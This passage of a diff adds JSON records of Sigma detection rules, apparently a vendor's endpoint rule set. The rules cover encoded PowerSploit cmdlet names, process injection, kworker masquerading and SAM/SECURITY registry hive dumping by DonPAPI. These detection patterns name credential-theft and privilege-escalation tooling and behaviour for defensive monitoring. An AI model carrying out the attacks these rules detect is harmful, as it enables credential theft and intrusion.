'SQBuAHYAbwBrAGUALQBEAG8AdwBuAGcAcgBhAGQAZQBBAGMAYwBvAHUAbgB0A'\n            - 'kAbgB2AG8AawBlAC0ARABvAHcAbgBnAHIAYQBkAGUAQQBjAGMAbwB1AG4AdA'\n            - 'JAG4AdgBvAGsAZQAtAEQAbwB3AG4AZwByAGEAZABlAEEAYwBjAG8AdQBuAHQA'\n            # Invoke-ServiceAbuse, from PowerSploit\n            - 'Invoke-ServiceAbuse'\n            - 'SQBuAHYAbwBrAGUALQBTAGUAcgB2AGkAYwBlAEEAYgB1AHMAZQ'\n            - 'kAbgB2AG8AawBlAC0AUwBlAHIAdgBpAGMAZQBBAGIAdQBzAGUA'\n            - 'JAG4AdgBvAGsAZQAtAFMAZQByAHYAaQBjAGUAQQBiAHUAcwBlA'\n            # Install-SSP, from PowerSploit\n            - 'Install-SSP'\n            - 'SQBuAHMAdABhAGwAbAAtAFMAUwBQA'\n            - 'kAbgBzAHQAYQBsAGwALQBTAFMAUA'\n            - 'JAG4AcwB0AGEAbABsAC0AUwBTAFAA'\n            # PowerBreach, from PowerSploit\n            - 'PowerBreach'\n            - 'UABvAHcAZQByAEIAcgBlAGEAYwBoA'\n            - 'AAbwB3AGUAcgBCAHIAZQBhAGMAaA'\n            - 'QAG8AdwBlAHIAQgByAGUAYQBjAGgA'\n            # Get-SiteListPassword, from PowerSploit\n            - 'Get-SiteListPassword'\n            - 'RwBlAHQALQBTAGkAdABlAEwAaQBzAHQAUABhAHMAcwB3AG8AcgBkA'\n            - 'cAZQB0AC0AUwBpAHQAZQBMAGkAcwB0AFAAYQBzAHMAdwBvAHIAZA'\n            - 'HAGUAdAAtAFMAaQB0AGUATABpAHMAdABQAGEAcwBzAHcAbwByAGQA'\n            # Invoke-WScriptBypass, from PowerSploit\n            - 'Invoke-WScriptBypassUAC'\n            - 'SQBuAHYAbwBrAGUALQBXAFMAYwByAGkAcAB0AEIAeQBwAGEAcwBzAFUAQQBDA'\n            - 'kAbgB2AG8AawBlAC0AVwBTAGMAcgBpAHAAdABCAHkAcABhAHMAcwBVAEEAQw'\n            - 'JAG4AdgBvAGsAZQAtAFcAUwBjAHIAaQBwAHQAQgB5AHAAYQBzAHMAVQBBAEMA'\n            # Powerup, from PowerSploit\n            - 'PowerUp'\n            - 'UABvAHcAZQByAFUAcA'\n            - 'AAbwB3AGUAcgBVAHAA'\n            - 'QAG8AdwBlAHIAVQBwA'\n            - 'Get-ServiceUnquoted'\n            - 'RwBlAHQALQBTAGUAcgB2AGkAYwBlAFUAbgBxAHUAbwB0AGUAZA'\n            - 'cAZQB0AC0AUwBlAHIAdgBpAGMAZQBVAG4AcQB1AG8AdABlAGQA'\n            - 'HAGUAdAAtAFMAZQByAHYAaQBjAGUAVQBuAHEAdQBvAHQAZQBkA'\n            - 'Get-ServiceFilePermission'\n            - 'R2V0LVNlcnZpY2VGaWxlUGVybWlzc2lvb'\n            - 'dldC1TZXJ2aWNlRmlsZVBlcm1pc3Npb2'\n            - 'HZXQtU2VydmljZUZpbGVQZXJtaXNzaW9u'\n            - 'Get-ServicePermission'\n            - 'R2V0LVNlcnZpY2VQZXJtaXNzaW9u'\n            - 'dldC1TZXJ2aWNlUGVybWlzc2lvb'\n            - 'HZXQtU2VydmljZVBlcm1pc3Npb2'\n            - 'Install-ServiceBinary'\n            - 'SW5zdGFsbC1TZXJ2aWNlQmluYXJ5'\n            - 'luc3RhbGwtU2VydmljZUJpbmFye'\n            - 'JbnN0YWxsLVNlcnZpY2VCaW5hcn'\n            - 'Find-DLLHijack'\n            - 'RgBpAG4AZAAtAEQATABMAEgAaQBqAGEAYwBrA'\n            - 'YAaQBuAGQALQBEAEwATABIAGkAagBhAGMAaw'\n            - 'GAGkAbgBkAC0ARABMAEwASABpAGoAYQBjAGsA'\n            - 'Find-PathHijack'\n            - 'RgBpAG4AZAAtAFAAYQB0AGgASABpAGoAYQBjAGsA'\n            - 'YAaQBuAGQALQBQAGEAdABoAEgAaQBqAGEAYwBrA'\n            - 'GAGkAbgBkAC0AUABhAHQAaABIAGkAagBhAGMAaw'\n            - 'Get-RegAlwaysInstallElevated'\n            - 'RwBlAHQALQBSAGUAZwBBAGwAdwBhAHkAcwBJAG4AcwB0AGEAbABsAEUAbABlAHYAYQB0AGUAZA'\n            - 'cAZQB0AC0AUgBlAGcAQQBsAHcAYQB5AHMASQBuAHMAdABhAGwAbABFAGwAZQB2AGEAdABlAGQA'\n            - 'HAGUAdAAtAFIAZQBnAEEAbAB3AGEAeQBzAEkAbgBzAHQAYQBsAGwARQBsAGUAdgBhAHQAZQBkA'\n            - 'Get-RegAutoLogon'\n            - 'RwBlAHQALQBSAGUAZwBBAHUAdABvAEwAbwBnAG8Abg'\n            - 'cAZQB0AC0AUgBlAGcAQQB1AHQAbwBMAG8AZwBvAG4A'\n            - 'HAGUAdAAtAFIAZQBnAEEAdQB0AG8ATABvAGcAbwBuA'\n            - 'Get-VulnAutoRun'\n            - 'RwBlAHQALQBWAHUAbABuAEEAdQB0AG8AUgB1AG4A'\n            - 'cAZQB0AC0AVgB1AGwAbgBBAHUAdABvAFIAdQBuA'\n            - 'HAGUAdAAtAFYAdQBsAG4AQQB1AHQAbwBSAHUAbg'\n            - 'Get-VulnSchTask'\n            - 'RwBlAHQALQBWAHUAbABuAFMAYwBoAFQAYQBzAGsA'\n            - 'cAZQB0AC0AVgB1AGwAbgBTAGMAaABUAGEAcwBrA'\n            - 'HAGUAdAAtAFYAdQBsAG4AUwBjAGgAVABhAHMAaw'\n            # PowerView, from PowerSploit\n            - 'PowerView'\n            - 'UABvAHcAZQByAFYAaQBlAHcA'\n            - 'AAbwB3AGUAcgBWAGkAZQB3A'\n            - 'QAG8AdwBlAHIAVgBpAGUAdw'\n            # Invoke-PortScan, from PowerSploit\n            - 'Invoke-PortScan'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AcgB0AFMAYwBhAG4A'\n            - 'kAbgB2AG8AawBlAC0AUABvAHIAdABTAGMAYQBuA'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwByAHQAUwBjAGEAbg'\n            # Invoke-ReverseDNSLookup, from PowerSploit\n            - 'Invoke-ReverseDNSLookup'\n            - 'SQBuAHYAbwBrAGUALQBSAGUAdgBlAHIAcwBlAEQATgBTAEwAbwBvAGsAdQBwA'\n            - 'kAbgB2AG8AawBlAC0AUgBlAHYAZQByAHMAZQBEAE4AUwBMAG8AbwBrAHUAcA'\n            - 'JAG4AdgBvAGsAZQAtAFIAZQB2AGUAcgBzAGUARABOAFMATABvAG8AawB1AHAA'\n            # Invoke-AllChecks, from PowerSploit\n            - 'Invoke-AllChecks'\n            - 'SQBuAHYAbwBrAGUALQBBAGwAbABDAGgAZQBjAGsAcw'\n            - 'kAbgB2AG8AawBlAC0AQQBsAGwAQwBoAGUAYwBrAHMA'\n            - 'JAG4AdgBvAGsAZQAtAEEAbABsAEMAaABlAGMAawBzA'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ca528e6b-b852-41f1-b94c-82363027fb31",
+  "rule_name": "Malicious PowerSploit Commandlets in Command-line",
+  "rule_description": "Detects various malicious cmdlets in PowerShell's command-line, generally associated with the PowerSploit framework.\nPowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.\nIt is recommended to investigate actions performed by attackers using the PowerSploit framework and to isolate infected systems.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1056.001",
+    "attack.t1059.001",
+    "attack.t1134",
+    "attack.t1547.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ca8123d8-d3c1-440a-985e-ecc31c2b39b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076586Z",
+  "creation_date": "2026-03-23T11:45:34.076588Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076592Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_cobalt_process_access.yml",
+  "content": "title: Possible Process Injection from Unknown Module Detected\nid: ca8123d8-d3c1-440a-985e-ecc31c2b39b8\ndescription: |\n    Detects an attempt to open a process with specific permissions associated with code injection, from an unknown module.\n    These specific permissions allow an attacker to remotely write a shellcode and create a remote thread pointing to it.\n    It is recommended to investigate the source process for suspicious activities.\n    It is also recommended to check for injected threads in the target process.\nreferences:\n    - https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2021/06/11\nmodified: 2025/04/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.s0154\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        # PROCESS_QUERY_LIMITED_INFORMATION\n        # PROCESS_QUERY_INFORMATION\n        # PROCESS_VM_WRITE\n        # PROCESS_VM_READ\n        # PROCESS_VM_OPERATION\n        # PROCESS_CREATE_THREAD\n        GrantedAccess: '0x143a'\n        CallTrace|endswith: '|UNKNOWN(????????????????)'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_vs_code:\n        ProcessOriginalFileName: 'electron.exe'\n        ProcessInternalName: 'electron.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_vs_codium:\n        ProcessOriginalFileName: 'electron.exe'\n        ProcessInternalName: 'electron.exe'\n        ProcessDescription: 'VSCodium'\n        ProcessImage: '*\\VSCodium.exe'  # C:\\Users\\xxxxx\\AppData\\Local\\Programs\\VSCodium\\VSCodium.exe / C:\\Users\\xxxx\\Documents\\Logiciels\\VSCodium-win32-x64-1.62.3\\VSCodium.exe\n\n    exclusion_kaspersky:\n        ProcessProcessName:\n          - 'avp.exe'\n          - 'ksde.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Kaspersky Lab'\n            - 'Kaspersky Lab JSC'\n\n    exclusion_vmware:\n        # C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\n        ProcessProcessName: 'vmtoolsd.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'VMware, Inc.'\n\n    exclusion_azuredatastudio:\n        # C:\\Program Files\\Azure Data Studio\\azuredatastudio.exe\n        ProcessProcessName: 'azuredatastudio.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_riot_games_vanguard:\n        # C:\\Program Files\\Riot Vanguard\\vgc.exe\n        ProcessProcessName:\n            - 'vgc.exe'\n            - 'vgm.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Riot Games, Inc.'\n\n    exclusion_winzip:\n        ProcessProcessName: 'FAHWindow64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'WinZip Computing LLC'\n            - 'WinZip Computing, S.L.'\n            - 'Corel Corporation'\n\n    exclusion_uipath:\n        ProcessOriginalFileName:\n            - 'UiExplorer.exe'\n            - 'UiPath.Executor.exe'\n            - 'UiPath.Executor.dll'\n            - 'UiPath.Studio.Project.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'UiPath, Inc.'\n\n    exclusion_git:\n        ProcessParentImage:\n            - '?:\\Program Files\\Git\\usr\\bin\\bash.exe'\n            - '*\\AppData\\Local\\Programs\\Git\\usr\\bin\\bash.exe'\n            - '?:\\Program Files\\Git\\usr\\bin\\sh.exe'\n            - '*\\AppData\\Local\\Programs\\Git\\usr\\bin\\sh.exe'\n\n    exclusion_zoomtext:\n        # C:\\Program Files (x86)\\Freedom Scientific\\ZoomText\\2019\\AiSquared.Magnification.ZoomText.exe\n        ProcessOriginalFileName: 'AiSquared.Magnification.ZoomText.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Freedom Scientific Inc'\n\n    exclusion_equ8_anticheat:\n        ProcessOriginalFileName: 'anticheat.x??.equ8.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Int3 Software AB'\n\n    exclusion_bitdefender_injection_64:\n        # Ivanti seems to bundle BitDefender DLLs...\n        CallTrace|startswith:\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|UNKNOWN(0000????????????)'\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|UNKNOWN(0000????????????)'\n    exclusion_bitdefender_injection_32:\n        CallTrace|contains:\n            - '|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\SysWOW64\\ntdll.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(000000007???????)|'\n            - '|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\SysWOW64\\ntdll.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(00000000f???????)|'\n            - '|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\SysWOW64\\ntdll.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(000000007???????)|'\n            - '|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\SysWOW64\\ntdll.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(00000000f???????)|'\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(000000007???????)|'\n\n    exclusion_cursor:\n        ProcessName: 'Cursor.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Todesktop Limited'\n            - 'Anysphere, Inc.'\n\n    exclusion_adinsight:\n        ProcessDescription: 'Active directory LDAP monitor'\n        ProcessInternalName: 'ADInsight'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_netwrix:\n        ProcessImage: '?:\\Windows\\Netwrix Auditor\\Netwrix Auditor Mailbox Access Core Service\\NombaAgent64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Netwrix Corporation'\n\n    exclusion_cygwin:\n        ProcessImage|contains:\n            - '\\cygwin64\\bin\\'\n            - '\\cygwin\\bin\\'\n            - '\\cygwin\\usr\\sbin\\'\n            - '\\cygwin1\\root\\bin\\'\n        TargetImage|contains:\n            - '\\cygwin64\\bin\\'\n            - '\\cygwin\\bin\\'\n            - '\\cygwin\\usr\\sbin\\'\n            - '\\cygwin1\\root\\bin\\'\n\n    exclusion_px4:\n        TargetImage: '?:\\PX4\\toolchain\\cygwin64\\bin\\bash.exe'\n        ProcessImage: '?:\\PX4\\home\\Firmware\\build\\px4_sitl_default\\bin\\px4.exe'\n\n    exclusion_msys2:\n        CallTrace|contains: '\\usr\\bin\\msys-2.0.dll+'\n\n    exclusion_mcafee:\n        CallTrace|endswith:\n            - '|?:\\Program Files\\McAfee\\DLP\\Agent\\fcacafa64.dll+???|UNKNOWN(????????????????)'\n            - '|?:\\Program Files\\McAfee\\DLP\\Agent\\fcacafa64.dll+????|UNKNOWN(????????????????)'\n            - '|?:\\Program Files\\McAfee\\DLP\\Agent\\fcacafa64.dll+?????|UNKNOWN(????????????????)'\n\n    exclusion_mojo:\n        TargetProcessCommandLine|contains|all:\n            - '--service-worker-schemes=vscode-webview'\n            - '--mojo-platform-channel-handle='\n            - '/prefetch:'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ca8123d8-d3c1-440a-985e-ecc31c2b39b8",
+  "rule_name": "Possible Process Injection from Unknown Module Detected",
+  "rule_description": "Detects an attempt to open a process with specific permissions associated with code injection, from an unknown module.\nThese specific permissions allow an attacker to remotely write a shellcode and create a remote thread pointing to it.\nIt is recommended to investigate the source process for suspicious activities.\nIt is also recommended to check for injected threads in the target process.\n",
+  "rule_creation_date": "2021-06-11",
+  "rule_modified_date": "2025-04-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ca8c50c9-be31-44c0-a2ca-c493faf68069",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611942Z",
+  "creation_date": "2026-03-23T11:45:34.611946Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611953Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html",
+    "https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_kworker_masquerading.yml",
+  "content": "title: Kworker Process Masqueraded\nid: ca8c50c9-be31-44c0-a2ca-c493faf68069\ndescription: |\n    Detects processes that try to masquerade as the kworker system process.\n    Kworker is a placeholder process for kernel worker threads which perform most of the actual processing for the Linux kernel.\n    Adversaries may attempt to manipulate their process name to make it appear legitimate or benign to users.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html\n    - https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2023/09/22\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        - ProcessProcessName|startswith: 'kworker/'\n          Image|contains: '/'\n        - ProcessCommandLine|startswith: '[kworker/'\n\n    filter_parent:\n        ProcessParentProcessName: 'kthreadd'\n        ProcessGrandparentProcessName: 'kthreadd'\n\n    exclusion_amazonlinux:\n        AgentDistroid: 'amzn'\n        ProcessImage:\n            - '/usr/bin/kmod'\n            - '/usr/lib/systemd/systemd-cgroups-agent'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ca8c50c9-be31-44c0-a2ca-c493faf68069",
+  "rule_name": "Kworker Process Masqueraded",
+  "rule_description": "Detects processes that try to masquerade as the kworker system process.\nKworker is a placeholder process for kernel worker threads which perform most of the actual processing for the Linux kernel.\nAdversaries may attempt to manipulate their process name to make it appear legitimate or benign to users.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-09-22",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "caa50242-5304-4ee7-8016-d72b99d151af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627994Z",
+  "creation_date": "2026-03-23T11:45:34.627996Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628000Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/login-securite/DonPAPI/blob/main/donpapi/lib/secretsdump.py#L780",
+    "https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary",
+    "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry",
+    "https://attack.mitre.org/techniques/T1003"
+  ],
+  "name": "t1003_002_donpapi_sam_reg_save.yml",
+  "content": "title: SAM or SECURITY Hives Dumped from Registry via DonPAPI\nid: caa50242-5304-4ee7-8016-d72b99d151af\ndescription: |\n    Detects a registry save to file operation of the SAM or SECURITY registry data with a specific file path characteristic of DonPAPI's Secretsdump.py.\n    The Security Account Manager (SAM) and SECURITY registry hives in Microsoft Windows store sensitive user authentication and security policy information.\n    Tools like DonPAPI's secretsdump.py can export these hives to steal credentials or manipulate security settings.\n    These operations are a common tactic used by attackers to extract sensitive information that can be used for lateral movement or to further attacks.\n    It is recommended to verify the legitimacy of the export and check for unusual network connections and authentications to the target machine.\nreferences:\n    - https://github.com/login-securite/DonPAPI/blob/main/donpapi/lib/secretsdump.py#L780\n    - https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary\n    - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry\n    - https://attack.mitre.org/techniques/T1003\ndate: 2024/07/11\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.HackTool.DonPAPI\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SaveKey'\n        TargetObject:\n            - 'HKLM\\SECURITY'\n            - 'HKLM\\SAM'\n        ProcessImage: '?:\\Windows\\system32\\svchost.exe'\n        HivePath:\n            - '?:\\windows\\system32\\\\????????????.log'\n            - '?:\\Windows\\Temp\\\\????????????.log'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "caa50242-5304-4ee7-8016-d72b99d151af",
+  "rule_name": "SAM or SECURITY Hives Dumped from Registry via DonPAPI",
+  "rule_description": "Detects a registry save to file operation of the SAM or SECURITY registry data with a specific file path characteristic of DonPAPI's Secretsdump.py.\nThe Security Account Manager (SAM) and SECURITY registry hives in Microsoft Windows store sensitive user authentication and security policy information.\nTools like DonPAPI's secretsdump.py can export these hives to steal credentials or manipulate security settings.\nThese operations are a common tactic used by attackers to extract sensitive information that can be used for lateral movement or to further attacks.\nIt is recommended to verify the legitimacy of the export and check for unusual network connections and authentications to the target machine.\n",
+  "rule_creation_date": "2024-07-11",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cac0bdbb-27f5-4b46-8959-cfb19da1e1b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096602Z",
+  "creation_date": "2026-03-23T11:45:34.096604Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096608Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
+    "https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
